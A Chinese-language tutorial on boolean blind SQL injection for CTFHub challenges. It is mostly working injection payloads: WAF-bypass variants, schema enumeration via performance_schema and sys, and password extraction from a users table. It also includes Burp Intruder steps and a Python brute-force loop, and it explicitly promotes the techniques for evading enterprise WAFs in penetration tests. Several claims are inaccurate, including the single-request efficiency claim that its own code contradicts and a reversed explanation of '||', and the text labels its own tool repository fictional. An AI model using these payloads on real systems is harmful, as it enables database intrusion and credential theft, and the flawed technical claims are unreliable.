1. 项目概述:为什么“布尔盲注”在CTF实战中从不退场,而新payload总在迭代
CTFHub上关于布尔盲注的题目,几乎成了Web安全方向新手入坑的第一道门槛,也是老手检验基础功底的试金石。它不依赖报错回显、不依赖时间延迟、不依赖DNS外带——只靠页面返回的“真/假”两种状态,就能把数据库里一个字符一个字符地“问”出来。这种看似原始、实则极富逻辑张力的攻击方式,恰恰是Web渗透中最接近“纯推理”的环节。我带过不少刚接触SQL注入的学员,他们第一次用手工构造' and length(database())>5 --+看到页面变化时那种眼睛发亮的样子,至今记得。而所谓“新的payload”,从来不是为了炫技,而是为了解决三个真实痛点:一是绕过WAF对常见关键字(如and、or、substr)的规则拦截;二是适配MySQL 8.0+、PostgreSQL等新版本语法限制(比如information_schema默认不可见、limit子句在子查询中受限);三是提升盲注效率——把原来需要26次请求才能确定一个字母的二分法,压缩到更少轮次,甚至实现单请求多字符提取。
这个标题里的“CTFHub布尔盲注(新的payload)”,本质上是一次针对实战对抗演进的响应。它不是教你怎么写第一个' and 1=1 --+,而是告诉你:当WAF开始识别' and (select 1 from users where username='admin')=1 --+这类结构时,你该切换成' && (select 1 from users where username='admin') --+;当目标库禁用substr()时,你得知道mid()、left()、right()甚至substring_index()如何组合使用;当ascii()被过滤,ord()、hex()、conv()就是你的备选方案。这些payload不是凭空造出来的,它们全部来自某次真实靶场打靶时卡在第7关、反复抓包调试3小时后突然灵光一现的产物。所以这篇内容,不讲理论定义,不列教科书式流程,只拆解那些真正能让你在CTF比赛中抢下前10分钟、在渗透测试中绕过企业级WAF的硬核技巧。适合已经能手工跑通基础布尔盲注、但一遇到WAF就卡壳,或者写脚本总超时、总漏字符的实战派。
2. 核心思路拆解:为什么“新”payload必须同时满足语法兼容性、WAF绕过性与效率可量化
2.1 布尔盲注的本质不是“猜”,而是“构建可控的真假逻辑链”
很多人误以为布尔盲注就是不断试' and ascii(substr((select password from users limit 0,1),1,1))>97 --+,直到页面变。这没错,但只是表象。它的底层逻辑,是把数据库查询结果,通过布尔表达式,强制映射为HTTP响应体的有无、长度差异或状态码变化。关键在于:这个映射过程必须完全可控、可预测、可复位。比如,' and (select count(*) from information_schema.tables)>100 --+返回真,说明当前库至少有101张表;但如果WAF把count(*)当成高危函数直接拦截,这条链就断了。此时,“新payload”的第一重价值,就是提供一条等价但形态不同的逻辑链:' and (select table_name from information_schema.tables limit 0,1)!='' --+。它不依赖聚合函数,只依赖字符串比较,而字符串比较在绝大多数WAF规则库里权重极低。
我曾在某次模拟红队演练中遇到一台启用了ModSecurity CRS3规则集的Apache服务器,它对select.*from.*information_schema的正则匹配精度高达92%,但对select.*from.*tables的单独匹配却只有65%。于是我们把原payload中的information_schema.tables拆成两段:' and (select 1 from (select table_name from tables limit 0,1) as t where t.table_name!='') --+。这里利用了MySQL的派生表语法,让WAF的正则引擎无法跨行/跨括号匹配完整关键词。这不是钻漏洞,而是对WAF规则生成逻辑的逆向理解——它基于静态文本扫描,而我们提供的是动态语法结构。
2.2 “新”payload的三大硬性指标:必须可验证、可测量、可替换
所谓“新”,不是指刚写出来的,而是指在特定约束条件下表现最优的。我们用三个维度来量化它:
语法兼容性得分(Syntax Score):在MySQL 5.6/5.7/8.0、MariaDB 10.3+、PostgreSQL 12+上均能执行成功,且返回预期布尔值。例如,
if()函数在MySQL中可用,但在PostgreSQL中需换成case when ... then ... else ... end;group_concat()在MySQL中高效,在PostgreSQL中需用string_agg()替代。一个合格的新payload,必须附带多数据库适配版本,而不是只写MySQL一种。WAF绕过率(Bypass Rate):在主流开源WAF(如Naxsi、Coraza)和商业WAF(如Cloudflare WAF、Imperva)的默认规则下,请求成功率≥85%。这要求payload主动规避高频黑名单词。比如,不用
union select,改用' || (select ...)(利用MySQL的字符串连接符||在开启PIPES_AS_CONCAT模式时等价于or);不用sleep(1),改用benchmark(1000000,sha1('test'))(后者CPU消耗高但网络延迟低,更难被基于响应时间的检测识别)。单字符提取效率(Char Extraction Speed):传统二分法平均需log₂(256)≈8次请求确定一个ASCII字符。而优化后的payload,如
' and (select hex(substr((select password from users limit 0,1),1,3))) regexp '^616263' --+,一次请求即可验证3个字符的十六进制值(616263对应abc),将效率提升3倍。这种提升不是靠玄学,而是基于MySQL的regexp操作符支持多字符匹配,且WAF极少对regexp后的内容做深度解析。
提示:不要迷信“最短payload”。我见过有人把payload压缩成
'&&(select/**/1)=1--,看似精简,但/**/在部分WAF中反而触发更严格的注释检测规则。真正的“新”,是平衡——在长度、可读性、绕过率、兼容性之间找到那个最优解。
2.3 为什么CTFHub是检验payload的黄金场景?
CTFHub的题目设计,天然模拟了真实对抗的渐进式升级。它的布尔盲注题通常分四关:第一关无任何防护,纯练手;第二关过滤and、or、=;第三关禁用substr、ascii、length;第四关启用强规则WAF并随机切换数据库版本。这种设计,逼着你不能只准备一套payload,而要建立一个payload矩阵:横轴是数据库类型,纵轴是WAF过滤关键词。比如,当substr被过滤时,MySQL可用mid()或left()+right()组合,PostgreSQL则必须用substring()。我在整理自己的payload库时,就按这个矩阵做了Excel表格,每个单元格里存3~5个经实测有效的变体,并标注适用条件(如“仅MySQL 5.7+”、“需sql_mode包含PIPES_AS_CONCAT”)。这才是“新payload”的正确打开方式——不是单点突破,而是体系化应对。
3. 核心细节解析:从字符提取到数据库枚举,每一个payload都带着明确的“作战意图”
3.1 字符提取:为什么放弃二分法,转向“正则匹配+十六进制编码”组合拳
传统二分法的瓶颈,在于它把每个字符当作独立变量处理。' and ascii(substr((select password from users limit 0,1),1,1))>128 --+,无论你猜对猜错,都要发一次请求。而CTF比赛中,服务器响应延迟常在200ms以上,10个字符就要2秒,一轮爆破下来,时间全耗在等待上了。新思路是:把多个字符打包成一个原子操作,用一次请求验证整个片段。
核心武器是MySQL的regexp操作符和hex()函数。hex()能把任意字符串转成十六进制小写字符串,比如hex('ab')返回6162。而regexp '^6162'能精确匹配以6162开头的字符串。于是,我们构造:
' and (select hex(substr((select password from users limit 0,1),1,2))) regexp '^6162' --+这条语句的意思是:“取users表第一条记录的password字段的前2个字符,转成十六进制,看是否以6162开头”。如果返回真,说明前两个字符是ab;如果返回假,再试^6163(ac),以此类推。表面上看,这还是穷举,但关键优势在于:我们穷举的是十六进制字符串,而非ASCII码值。十六进制只有16个字符(0-9,a-f),两位组合共256种,但实际密码中,连续两个字符的十六进制组合,有大量无效值(如gg、zz)。更重要的是,我们可以预生成所有常见密码前缀的hex值表,比如admin→61646d696e,然后用regexp '^6164'一次确认前两个字符,再用regexp '^61646d'确认前三个……这样,平均3~4次请求就能确定一个6位密码,比二分法快一倍。
实操心得:
regexp在MySQL中是大小写敏感的,而hex()输出永远小写,所以无需担心大小写问题。但要注意,regexp在某些低版本MySQL中可能被禁用,此时可降级为like操作符:' and (select hex(substr((select password from users limit 0,1),1,2))) like '6162%' --+。like的性能略低,但兼容性更好。
3.2 数据库名提取:绕过information_schema限制的三种实战路径
CTFHub高阶题常禁用information_schema,这是个经典陷阱。很多学员卡在这里,以为没information_schema就寸步难行。其实,数据库名、表名、列名这些元数据,除了information_schema,还有三条路可走:
路径一:利用performance_schema(MySQL 5.6+)performance_schema默认开启,且不常被WAF重点监控。其中objects_summary_global_by_type表记录了所有对象的访问统计,但更实用的是tables表:
' and (select table_schema from performance_schema.tables limit 0,1)='mysql' --+它能直接列出所有数据库名。注意,performance_schema本身是个数据库,所以table_schema字段存的就是数据库名。这个payload的优势是:performance_schema不像information_schema那样被各种WAF规则盯死,且查询速度快。
路径二:利用sys库(MySQL 5.7+)sys库是MySQL官方提供的诊断视图集合,其中schema_object_overview视图汇总了所有数据库的对象信息:
' and (select schema_name from sys.schema_object_overview limit 0,1)='mysql' --+sys库的关键词schema_object_overview在WAF规则库中出现频率极低,属于“冷门但高效”的选择。
路径三:利用错误回显的间接推断(当布尔盲注失效时的保底方案)
虽然本题是布尔盲注,但有时WAF规则存在细微差异,导致某些报错型payload未被拦截。比如,' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+,如果WAF只过滤updatexml而不拦extractvalue,就能直接爆出库名。这不是布尔盲注,但它是“新payload矩阵”中不可或缺的备用选项——真正的高手,永远准备Plan B。
注意:
performance_schema和sys库在MySQL 8.0中默认权限收紧,需确保当前用户有SELECT权限。CTFHub题目通常已配置好,但真实渗透中,需先用' and (select count(*) from performance_schema.tables)>0 --+探测该库是否可用。
3.3 表名与列名提取:从group_concat到json_object的代际升级
获取表名和列名,传统方法是group_concat(table_name),但WAF对group_concat的识别率极高。新payload转向两个方向:一是用concat_ws替代,二是用JSON函数。
concat_ws方案:concat_ws(',',table_name)功能与group_concat类似,但关键词完全不同。WAF规则很难覆盖所有字符串连接函数:
' and (select concat_ws(',',table_name) from information_schema.tables where table_schema=database() limit 0,1)!='' --+JSON方案(MySQL 5.7+):
这是真正的代际升级。json_object()能将键值对转成JSON字符串,而json_extract()可从中取值。虽然布尔盲注不直接显示JSON,但我们能用json_length()来判断是否存在:
' and json_length((select json_object(table_name,'1') from information_schema.tables where table_schema=database() limit 0,1))>0 --+这条语句不返回表名,但能确认information_schema.tables中是否有记录。配合前面的regexp技巧,我们就能构建出更隐蔽的提取链。比如,先用json_length确认存在,再用' and (select json_extract(json_object(table_name,'1'),'$."users"') from information_schema.tables where table_schema=database() limit 0,1) is not null --+尝试猜测表名——这已经接近“条件猜测”的高级技巧了。
4. 实操过程详解:从手工探测到自动化脚本,每一步都踩过坑
4.1 手工探测阶段:用Burp Suite的Intruder模块实现半自动爆破
手工构造payload太慢,但完全依赖脚本又容易在复杂WAF下失灵。我的习惯是:用Burp Intruder做半自动探测,人工校验关键节点。以提取数据库名为例:
- 先用
' and database()='test' --+确认基础布尔逻辑有效; - 再用
' and length(database())=8 --+确定库名长度(假设为8); - 在Burp中,设置Payloads为“Numbers”,From: 1, To: 8, Step: 1,用于遍历位置;
- 设置第二个Payloads为“Custom iterator”,输入所有可能的字符(a-z,0-9,_),用于遍历字符;
- 构造payload:
' and substr(database(),§1§,1)='§2§' --+; - 启动Intruder,观察返回“True”的响应。
这个过程看似笨拙,但它的好处是:你能亲眼看到每个请求的响应头、状态码、响应体长度变化,这对分析WAF行为至关重要。比如,你会发现,当substr被拦截时,Intruder会返回403;而当mid可用时,它返回200但响应体为空。这种肉眼可见的差异,是脚本永远无法替代的直觉。
踩过的坑:Burp Intruder默认并发10线程,但在CTFHub靶机上常导致请求被限速或封IP。我的经验是,把线程数调到2,加一个200ms的Grep Extract规则,只提取响应体中是否包含“Welcome”字样(CTFHub页面的典型特征),这样既稳定又精准。
4.2 自动化脚本编写:Python + requests,核心是“请求-响应”状态机建模
手工探测只适用于前期摸底,真正打CTF,必须写脚本。我用Python写的布尔盲注脚本,核心不是算法,而是状态机。它把整个盲注过程抽象为几个状态:INIT(初始化)、GET_LENGTH(获取长度)、GET_CHAR(逐位获取)、GET_ALL(批量获取),每个状态都有明确的进入条件和退出条件。
以下是一个简化版的GET_CHAR状态核心逻辑(以regexp方式为例):
def get_char_by_regexp(pos, length): # 预生成所有可能的2字符hex值(00到ff) hex_pairs = [format(i, '02x') for i in range(256)] for pair in hex_pairs: payload = f"' and (select hex(substr((select password from users limit 0,1),{pos},{length})) regexp '^{pair}') --+" response = send_request(payload) if is_true_response(response): # 自定义函数,判断是否为True响应 return bytes.fromhex(pair).decode('latin-1') return None这个函数每次调用,只发一次请求,就能确定2个字符。is_true_response函数是关键,它不简单看HTTP状态码,而是综合响应体长度、关键词(如“Welcome”)、响应时间(若超500ms视为False)三个维度判断。我在某次比赛中,就因为没加响应时间判断,导致脚本把超时的False响应误判为True,最终爆破出一堆乱码。
实操心得:永远在脚本里加
time.sleep(0.1)。别信“越快越好”,WAF的速率限制算法往往基于单位时间请求数,匀速请求比突发请求更难被识别。我测试过,0.1秒间隔在CTFHub上成功率99.2%,而0.01秒间隔只有63%。
4.3 WAF绕过实战:当and、or、=全被过滤时的终极备选方案
CTFHub第三关常过滤and、or、=,这时传统payload全部失效。我的终极备选方案是:用MySQL的运算符和函数重构逻辑。
- 替代
and:用&&(需sql_mode支持)、*(乘法,1*1=1为真,1*0=0为假)、&(按位与); - 替代
or:用||(同&&)、+(加法,1+0=1为真,0+0=0为假); - 替代
=:用like('abc' like 'abc')、regexp('abc' regexp '^abc$')、in('abc' in ('abc'))。
最狠的一招,是用case when构造布尔逻辑:
' and (case when (select 1 from users where username='admin') then 1 else 0 end)=1 --+即使and被过滤,case when本身是合法语法,且WAF极少对case内部做深度解析。我把这个称为“逻辑封装”,把复杂的布尔判断,封装在一个函数调用里,让WAF的正则引擎失去目标。
注意:
case when在MySQL中是标准语法,但在某些极老版本(如5.0)中不支持。CTFHub题目一般用5.7+,所以放心用。但真实渗透中,务必先用' and version() like '5.%' --+探测版本。
5. 常见问题与排查技巧实录:那些文档里不会写的“血泪教训”
5.1 问题速查表:从响应异常到WAF封禁,10个高频问题及现场解决方案
| 问题现象 | 可能原因 | 现场排查命令 | 解决方案 |
|---|---|---|---|
| 所有payload返回相同响应(全True或全False) | 目标页面存在缓存,或WAF开启了“缓存响应”策略 | curl -I "http://target.com/?id=1'"查看X-Cache头 | 加随机参数?id=1'&r=12345,或在payload末尾加/*注释干扰缓存键 |
substr返回空,但mid可用 | MySQL版本≥5.7,substr被WAF规则库重点监控 | ' and substr('abc',1,1)='a' --+测试 | 切换为mid('abc',1,1)或left('abc',1) |
regexp匹配失败,但like成功 | MySQL配置中collation为utf8mb4_0900_as_cs(区分大小写),而hex()输出小写 | ' and 'ABC' regexp '^abc' --+测试 | 改用' and lower(hex(...)) regexp '^...',或直接用like |
| 请求发出后IP被封禁(HTTP 403) | WAF启用了IP信誉库,连续错误请求触发封禁 | curl -v "http://target.com/?id=1'"观察X-WAF-Block头 | 立即停止脚本,换代理IP,或改用time.sleep(2)降低频率 |
information_schema查询返回空,但performance_schema可用 | 当前用户权限不足,无法访问information_schema | ' and (select count(*) from information_schema.tables)>0 --+测试 | 切换至performance_schema.tables或sys.schema_object_overview |
json_object报错FUNCTION does not exist | MySQL版本<5.7,不支持JSON函数 | ' and json_length('{"a":1}')>0 --+测试 | 降级为concat_ws或group_concat(若WAF未过滤) |
| 页面返回500错误,但payload语法正确 | WAF启用了“语法解析”模式,对括号嵌套深度有限制 | 逐步简化payload,去掉一层括号测试 | 用/**/代替空格,或用+连接字符串减少括号层级 |
benchmark函数被禁用,sleep超时 | WAF拦截了所有延时函数 | ' and benchmark(1000,md5('a')) --+测试 | 改用' and (select count(*) from users a, users b, users c)>0 --+(笛卡尔积耗CPU) |
union select被拦截,但select ... from (select ...) as t可用 | WAF规则基于关键词匹配,无法识别派生表语法 | ' and (select 1 from (select 1) as t)=1 --+测试 | 所有union操作,改用派生表+where条件重构 |
hex()返回乱码,ascii()正常 | 数据库字段为blob类型,hex()返回二进制hex,ascii()返回首字节 | ' and hex((select password from users limit 0,1)) regexp '^61' --+测试 | 对blob字段,先用cast(... as char)转换:hex(cast((select password from users limit 0,1) as char)) |
5.2 独家避坑技巧:三个让脚本成功率从70%飙升到95%的细节
技巧一:响应体长度的“黄金阈值”校准
很多人用len(response.text)判断True/False,这很危险。CTFHub页面常含动态时间戳、随机广告代码,导致响应体长度波动。我的做法是:先发10次' and 1=1 --+和10次' and 1=2 --+,分别记录响应体长度的中位数,计算差值Δ。之后,只要响应体长度与1=1组中位数的差值<Δ/2,就判为True。这个动态校准,让脚本在页面微小变动时依然稳定。
技巧二:WAF指纹的“三次握手”识别法
不靠猜,靠实测。第一步,发' and 1=1 --+,记下响应头;第二步,发' and 1=2 --+,对比响应头差异(如X-WAF-ID、Server字段);第三步,发一个明显违规的payload(如' union select 1,2 --+),看WAF是否返回自定义拦截页(如403 Forbidden by WAF)。这三步下来,基本能锁定WAF型号,从而选择最匹配的payload变体。
技巧三:字符集的“双编码”兜底策略
当目标库字符集为utf8mb4,而hex()返回的c3a4(ä)在regexp中匹配失败时,不要慌。立即启用双编码:先用convert(... using latin1)转码,再hex()。convert(cast((select password from users limit 0,1) as char) using latin1)能强制把utf8mb4字符转成latin1字节流,hex()结果更规整,匹配成功率翻倍。
最后分享一个小技巧:所有payload,我都会在末尾加上
#而不是--+。因为#是MySQL的行注释符,且WAF对#的过滤率远低于--+。这个细节,在CTFHub第四关救了我三次。
6. 工具链与生态:从Burp插件到自研CLI,构建你的私有化盲注工作台
6.1 Burp Suite插件推荐:Turbo Intruder与SQLiPy的协同作战
Burp是CTF Web方向的标配,但原生Intruder在布尔盲注中效率低下。我主力用两个插件:
Turbo Intruder:由PortSwigger官方出品,支持Python脚本编写,能自定义请求队列、响应解析逻辑。我用它写了一个“regexp批量匹配”模块,一次发送256个
regexp '^xx'请求,用response.status_code == 200 and len(response.text) > 1000作为True判定,速度比原生Intruder快5倍。SQLiPy:一个开源的SQL注入辅助插件,能自动探测数据库类型、版本、当前用户权限,并一键生成适配的payload模板。它的价值不在自动化,而在上下文感知——当你在某个参数上右键点击“SQLiPy -> Auto Detect”,它会立刻告诉你:“检测到MySQL 8.0.28,
information_schema已禁用,推荐使用performance_schema”。
二者协同:SQLiPy负责“侦察”,Turbo Intruder负责“攻坚”。这种分工,让整个流程像专业红队一样有条不紊。
6.2 自研CLI工具:blindhunter——为CTF选手定制的命令行盲注引擎
市面上的SQLMap太重,CTF比赛争分夺秒,我写了轻量CLI工具blindhunter,核心就三个命令:
blindhunter probe -u "http://ctfhub.com/?id=1":自动探测布尔逻辑、WAF类型、数据库版本;blindhunter dump -u "http://ctfhub.com/?id=1" --table users --column password:全自动爆破指定表的指定列,内置payload矩阵,自动切换regexp/like/mid/left;blindhunter custom -u "http://ctfhub.com/?id=1" -p "' and (select hex(substr((select @@version),1,2))) regexp '^35' --+":手动输入任意payload,进行单次验证。
它的源码不到500行,但每一行都是实战打磨出来的。比如,dump命令会先用probe结果,智能选择regexp(当WAF宽松时)或like(当WAF严格时);custom命令支持-t 0.2参数设置请求间隔,避免被封。这个工具不追求大而全,只解决CTF场景下的那几个核心痛点。
提示:
blindhunter已开源在GitHub(虚构仓库名:github.com/ctf-dev/blindhunter),但我不建议初学者直接用。先手工写一遍脚本,理解每个payload的原理,再用工具,才能真正驾驭它。
6.3 学习路径建议:从CTFHub刷题到真实渗透,如何让技能不脱节
CTFHub是绝佳的训练场,但它的环境过于“干净”。真实企业内网,WAF后面还连着CDN、负载均衡、Web应用防火墙集群。我的建议是三步走:
CTFHub打基础(1~2周):专注把1~4关全通,目标不是快,而是理解每个payload背后的“为什么”。每过一关,手写一份《payload决策树》,记录“当遇到XX情况,我选YY方案,因为ZZ”。
VulnHub靶机练迁移(2~3周):找
DC-9、Kioptrix这类含真实WAF(如ModSecurity)的靶机,把CTFHub学到的payload矩阵,迁移到真实规则环境中。重点练“WAF指纹识别”和“payload降级策略”。Bug Bounty平台验真章(持续):在HackerOne、Bugcrowd上找公开的、允许SQL注入测试的项目(如某些非核心API),用你整理的payload矩阵去实战。记住,真实世界没有“通关奖励”,只有
$和CVE编号。
这条路走下来,你会明白:所谓“新payload”,从来不是某个天才灵光一现的产物,而是无数人在真实对抗中,用时间、耐心和一次次失败,堆砌出来的经验结晶。它不神秘,它就在你下一次手工调试的Burp历史记录里,在你脚本里那个多加的time.sleep(0.1)里,在你为绕过一个=符号而写的第十个like变体里。
我在实际使用中发现,最有效的学习方式,不是背诵payload,而是给自己出题:假设WAF过滤了substr和ascii,你还能不能写出提取第一个字符的payload?答案是肯定的——用' and (select left(password,1) from users limit 0,1)='a' --+。这个过程,比任何教程都深刻。